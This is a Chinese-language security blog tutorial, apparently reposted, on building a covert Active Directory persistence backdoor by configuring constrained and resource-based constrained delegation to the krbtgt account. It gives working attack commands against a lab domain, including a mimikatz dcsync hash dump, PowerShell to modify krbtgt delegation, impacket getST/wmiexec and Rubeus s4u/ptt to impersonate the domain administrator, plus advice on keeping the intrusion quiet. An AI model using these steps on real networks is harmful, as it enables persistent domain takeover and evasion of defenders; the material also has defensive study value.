内网渗透 | 利用委派打造隐蔽后门(权限维持)

Gcow安全团队

共 2557字,需浏览 6分钟

 ·

2020-09-04 12:13


目录


选择控制的用户

已经存在的有SPN的域用户

自己创建的机器账号

自己创建的域用户然后赋予SPN

利用约束性委派打造隐蔽后门(权限维持)

利用基于资源的约束委派打造隐蔽后门(权限维持)

Kali上使用impacket进行攻击

Win7上使用Rubeus进行攻击


关于委派以及委派的一些攻击手法,传送门:域渗透之委派攻击

如果这里我们假设服务Bkrbtgt,服务A为我们控制的一个账号。配置服务A到服务B的约束性委派或者基于资源的约束性委派,那么我们控制的账户就可以获取KDCKey Distribution Centre)服务的ST服务票据(也就是TGT认购权证)。于是我们就可以伪造任何权限用户的TGT认购权证,来打造一个变种的黄金票据了

选择控制的用户

这里我们配置krbtgt允许服务A基于资源的约束委派。这里的服务A我们可以有以下几类:

1. 已经存在的有SPN的域用户

2. 自己创建的机器账号,但是要注意计算机账号密码的自动更新问题

3. 自己创建的域用户然后赋予SPN

在实战中,建议用第一种已经存在SPN的域用户,因为这样可以避免新建用户,实现动静最小化。

已经存在的有SPN的域用户

使用以下命令我们可以寻找具备SPN并且密码永不过期的用户账户。但是由于我们是测试环境,所以未配置该类型的账号。真实的企业环境中这种情况非常常见,比如许多服务账户就会满足这种条件。

Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires | ?{($_ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)}

这里比如我们找到了test用户属于这种要求,然后使用mimikatz的以下命令导出test用户的hash值,用于之后的攻击。

mimikatz "lsadump::dcsync /domain:xie.com /user:test"

自己创建的机器账号

我们可以自己创建一个机器账号ServiceA

这种方法有唯一一个限制条件:计算机账户密码的自动更新问题。(默认情况下)每隔30天,计算机账户密码就会自动更新,对应的凭据也会发生变化,使后门失去作用。攻击者可以使用如下方法禁止该账号密码自动更新。

自己创建的域用户然后赋予SPN

我们还可以自己创建一个域用户,然后赋予SPN

利用约束性委派打造隐蔽后门(权限维持)

我们控制的用户选择的是自己创建的 test 域用户。

· 域控:win2008  192.168.10.131

· 域:xie.com

· 攻击机:Kali

首先修改 kali /etc/hosts/文件,添加如下内容

192.168.10.131 win2008192.168.10.131 xie.com


然后在域控上配置test用户到krbtgt用户的约束性委派。 

Kali上进行攻击

./getST.py -dc-ip 192.168.10.131 -spn krbtgt/XIE.COM -impersonate administrator xie.com/test:x123456.\/export KRB5CCNAME=administrator.ccache./wmiexec.py -no-pass -k administrator@win2008 -dc-ip 192.168.10.131


利用基于资源的约束委派打造隐蔽后门(权限维持)

· 域控:Win2012   192.168.10.24

· 域成员主机:Win7  192.168.10.130

· 普通域用户:xie\hack

首先修改 kali /etc/hosts/文件,添加如下内容

192.168.10.24 win2012

192.168.10.24 xie.com

配置基于资源的约束委派

这里我们用刚刚新建的test用户作为服务A,配置用户 test krbtgt 的基于资源的约束委派

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount testGet-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount


在Kali上使用impacket进行攻击

./getST.py -dc-ip 192.168.10.24 -spn krbtgt -impersonate administrator xie.com/test:x123456.\/export KRB5CCNAME=administrator.ccache./wmiexec.py -no-pass -k administrator@win2012 -dc-ip 192.168.10.24


在Win7上使用Rubeus进行攻击

现在我们在Win7上用普通域用户 xie\hack 使用Rubeus进行基于资源的约束性委派攻击

这下面的rc4是刚刚新建的test用户的密码哈希,我们也可以使用aes256来进行认证。服务我们设置为 krbtgt

Rubeus.exe s4u /user:test /rc4:b98e75b5ff7a3d3ff05e07f211ebe7a8 /domain:xie.com /msdsspn:krbtgt /impersonateuser:administrator

导入票据,访问域控

Rubeus.exe  ptt  /ticket:票据



参考文章:https://www.anquanke.com/post/id/170535

来源:谢公子的博客

责编:凉粉



由于文章篇幅较长,请大家耐心。如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)



浏览 78
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报